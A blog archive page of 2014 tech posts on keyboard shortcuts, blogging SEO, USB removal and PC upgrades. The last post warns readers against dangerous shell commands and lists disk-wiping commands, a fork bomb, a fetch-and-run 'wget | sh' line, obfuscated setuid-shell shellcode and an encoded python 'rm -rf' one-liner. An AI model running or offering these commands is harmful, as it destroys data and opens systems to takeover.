Showing posts with label should. Show all posts
Showing posts with label should. Show all posts

Friday, March 21, 2014

Top 10 keyboard shortcuts everyone should know


Using keyboard shortcuts can greatly increase your productivity, reduce repetitive strain, and help keep you focused. For example, highlighting text with the keyboard and pressing Ctrl + C is much faster than taking your hand from the keyboard, highlighting the text using the mouse, clicking copy from the file menu, and then putting your hand back in place on the keyboard. Below are our top 10 keyboard shortcuts we recommend everyone memorize and use.
Ctrl + C or Ctrl + Insert
Copy the highlighted text or selected item.
Ctrl + V or Shift + Insert
Paste the text or object thats in the clipboard.
Ctrl + Z and Ctrl + Y
Undo any change. For example, if you cut text, pressing this will undo it. This can also often be pressed multiple times to undo multiple changes. Pressing Ctrl + Y would redo the undo.
Ctrl + F
Open the Find in any program. This includes your Internet browser to find text on the current page.
Alt + Tab or Alt + Esc
Quickly switch between open programs moving forward.
Tip: Press Ctrl + Tab to switch between tabs in a program.
Tip: Adding the Shift key to Alt + Tab or Ctrl + Tab will move backwards. For example, if you are pressing Alt + Tab and pass the program you want to switch to, press Alt + Shift + Tab to move backwards to that program.
Tip: Windows Vista and 7 users can also press the Windows Key + Tab to switch through open programs in a full screenshot of the Window.
Ctrl + Back space and Ctrl + Left or Right arrow
Pressing Ctrl + Backspace will delete a full word at a time instead of a single character.
Holding down the Ctrl key while pressing the left or right arrow will move the cursor one word at a time instead of one character at a time. If you wanted to highlight one word at a time you can hold down Ctrl + Shift and then press the left or right arrow key to move one word at a time in that direction while highlighting each word.
Ctrl + S
While working on a document or other file in almost every program pressing Ctrl + S will save that file. This shortcut key should be used frequently anytime youre working on anything important.
Ctrl + Home or Ctrl + End
Move the cursor to the beginning or end of a document.
Ctrl + P
Print the page being viewed. For example, the document in Microsoft Word or the web page in your Internet browser.
Page Up, Space bar, and Page Down
Pressing either the page up or page down key will move that page one page at a time in that direction. When browsing the Internet pressing the space bar will also move the page down one page at a time. If you press Shift and the Space bar the page will go up a page at a time
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Tuesday, March 11, 2014

7 Mostwanted Things About SEO you should know before starting a blog

Hello everyone !! Before starting to create a blog, you should know about some basic principles and some tools.

1) Unique Content makes all....

Before starting a blog, make sure that your blogs posts are unique(i.e never seen in a website). Choose a good niche (Making money online etc..) and post some interesting and unique content. 


2) Search engine optimization..

This is what all bloggers try to make. SEO or search engine optimization means making your website visible in all the search engines (google,bing etc..). This SEO makes your blog get more traffic. More the traffic, more you can earn.


3) Google Adsense...

This is an ad network from google which places ads in your blog and with that you can earn.


4) Wordpress Blog is Better Than Blogger..

Blogger and wordpress are theblogging platforms by which you can create a blog. In wordpress, there are many seo friendly options where as even blogger has them but upto some limit.

                       But you have to invest some money before starting a blog in wordpress. But wordpress is best choice for the bloggers. So , spending money during start gives large benefits after,,

5) Google Pagerank..

Many bloggers dont care this but its most important tool to improvise your blog. This page rank makes your blog more searchable in search engines.

6) Be updated daily..

Update your blog daily and help the commentors who comments in your blog. Update different and unique posts..

7) Be concentrated and dont give up..

A blogger should have huge concentration can be able to run blog most succesfully . Dont give up blogging once you started.


    These are tips i can give to new bloggers. Thats all for this post .Hope you like it. Thank you....
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Thursday, March 6, 2014

Why should you use Safely Remove Hardware icon


http://main.makeuseoflimited.netdna-cdn.com/tech-fun/wp-content/uploads/2013/02/usbremove.jpg?54b313 
Once imagine like this!! 
Dont worry, not exactly will happen. But may be your USB feels like this.

 There are some reasons why you should use Safely Remove Hardware icon to unplug your USB device -


1. If it is a mass storage USB device like flash memory or a hard disk, especially in an external enclosure, just pulling the plug could render the device unusable and data loss can follow if there is still some data in a cache waiting to be written to the device. By using the “Safely Remove Hardware” icon it ensures that all caches are flushed and the device is in a sleep state and any tasks assigned to it is completed.

 
2. Another reason why you should use the “safely remove hardware icon” is that in a USB port, there is a current running through it to your connected device when its in use. So if you just pull out the USB device without the “Safely Remove Hardware ” icon the power shock caused by unplugging your device with a current running through it can corrupt it’s data. Using the “safely remove hardware icon” tells Windows to turn off the power to the USB device and then tells you that it is safe to remove the device.

So dont need to attend rumours that it is not necessary to use safely remove hardware icon and it doesnt matter. Its your device, you have to protect it. 
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Monday, March 3, 2014

Should I Replace Or Upgrade My Personal Computer

By: Alison Brundle

If your PC is getting a bit long in the tooth, the temptation to replace it with a newer model is always there. The very latest in top-spec laptops, Notebooks, PCs and computers are constantly advertised and the pressure to buy the latest model is intense. The price of new technology is far lower proportionally than when computers first became a common household addition, but do you actually need to replace your entire system or can you save yourself time and money by upgrading what you already have?

The question you have to ask yourself is: does my current computer do everything I want it to do? If the answer to that is yes, then your current system will probably be sufficient for some time to come. But if you are determined to upgrade, then you dont have to replace the entire system to enhance its capabilities - you can upgrade areas of your existing hardware for a fraction of the cost.

The monitor

Old computer monitors are cumbersome, energy-greedy and have a limited lifespan. The easiest way to upgrade your set-up is to start with the monitor. Flat screens take up far less desk space, are higher resolution (meaning far better picture quality) and modern LED screens are also much more energy efficient. The old monitor can be consigned to the recycling centre and a sleeker, more efficient flat screen is the quickest way to upgrade your set-up for a fraction of the cost of a new computer system.

RAM memory

The more RAM you have, the faster your PC will run. Applications use the RAM memory to run and the operating system uses it to ensure that applications work correctly. RAM is an add-on that is simple to install and relatively cheap. However, different machines take different types of RAM so contact a manufacturer and they will be able to tell you which RAM you need simply from the make and model number of your PC.

Storage

Hard disks have a finite amount of storage space available, so updating your storage system can free up your computers hard drive. A remote hard drive is also an excellent way of keeping all your data and information safe, enabling you to restore your computer to full working capacity in the event of a catastrophic hard drive failure such as a virus attack or mother-board problem. Files such as films, music and other downloads take up a great deal of storage space so downloading these onto a remote hard drive is a great way of freeing up your computers disk space and helping it to run more quickly.

Graphics

Graphics cards are easily replaced. These plug-ins power the display and the faster and more capable your graphics card, the sharper and clearer your images will be. This is particularly useful if you are into computer games, as the graphics in modern games are exceptionally sophisticated and require high-resolution graphics.

Processing power

Your processor is the heart of the computer. This determines the speed that your computer operates at and replacing it can be a complex task, so only attempt it if you are absolutely sure you know what you are doing. You may also need some specialist equipment and to be sure that the processor you wish to insert is compatible with your system so if you do decide to upgrade your processing power, it is best to talk to an IT expert first.

You can also upgrade your current PC by adding USB ports, network cards or modems is all relatively easy to do by simply opening the casing of the unit and inserting the cards into the PCI slots. Upgrading your computer is one of the simplest and cheapest ways of increasing the speed and capability of your computer without having to throw the entire system away and buy a new one.

There is also the problem that your new computer may have trouble recognising all of your old data from your previous machine, making data transference difficult and frustrating. So is it better to stick with the devil you know? Modern computers are adaptable and easily upgraded. Whilst you dont always need to be at the cutting edge of technology, its wise to consider at least one upgrade in every computers life. If youve reached the limits of your current computers capacity, then perhaps that is the time to think about finally replacing it for a newer model.

IT247.com has one of the UKs largest catalogues of IT, consumer electronics and related accessories, at highly competitive prices and best availability. Buy New Desktop Computers online at http://www.it247.com

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Monday, February 10, 2014

Commands you should never run

Never ever run the following commands on your system no matter who tells you what.

rm -rf /
rm -rf .
rm -rf *
rm -r .*
rm -r .[^.]*

mkfs
mkfs.ext3
mkfs.anything

any_command > /dev/sda
dd if=something of=/dev/sda

:(){:|:&};:

wget http://some_place/some_file
sh ./some_file

wget http://some_place/some_file -O- | sh

char esp[] __attribute__ ((section(".text"))) /* e.s.p
release */
= "xebx3ex5bx31xc0x50x54x5ax83xecx64x68"
"xffxffxffxffx68xdfxd0xdfxd9x68x8dx99"
"xdfx81x68x8dx92xdfxd2x54x5exf7x16xf7"
"x56x04xf7x56x08xf7x56x0cx83xc4x74x56"
"x8dx73x08x56x53x54x59xb0x0bxcdx80x31"
"xc0x40xebxf9xe8xbdxffxffxffx2fx62x69"
"x6ex2fx73x68x00x2dx63x00"
"cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;";

python -c import os; os.system("".join([chr(ord(i)-1) for i in "sn!.sg!+"]))

Never ever run the above commands on your system no matter who tells you what unless you are experimenting.

Read More: http://ubuntuforums.org/announcement.php?f=73
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